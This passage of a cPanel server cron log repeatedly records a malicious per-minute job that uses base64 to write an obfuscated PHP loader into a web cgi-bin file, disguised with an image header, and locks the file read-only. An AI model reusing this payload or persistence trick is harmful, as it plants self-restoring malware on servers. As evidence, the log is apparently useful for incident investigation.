ZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:34:01 server CROND[13427]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:35:01 server CROND[13491]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 06:35:01 server CROND[13492]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:35:01 server CROND[13494]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 06:35:01 server CROND[13495]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 06:35:01 server CROND[13496]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 10 06:36:01 server CROND[13620]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:37:01 server CROND[13791]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:38:01 server CROND[13881]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:39:01 server CROND[13935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:39:01 server CROND[13936]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 06:40:01 server CROND[14032]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 06:40:01 server CROND[14047]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 06:40:01 server CROND[14055]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 06:40:01 server CROND[14056]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:41:01 server CROND[14194]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:42:01 server CROND[14359]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:42:01 server CROND[14360]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 06:43:01 server CROND[14432]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:44:01 server CROND[14487]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:45:01 server CROND[14550]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 06:45:01 server CROND[14551]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 06:45:01 server CROND[14553]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:46:01 server CROND[14655]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 06:47:01 server CROND[14711]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRk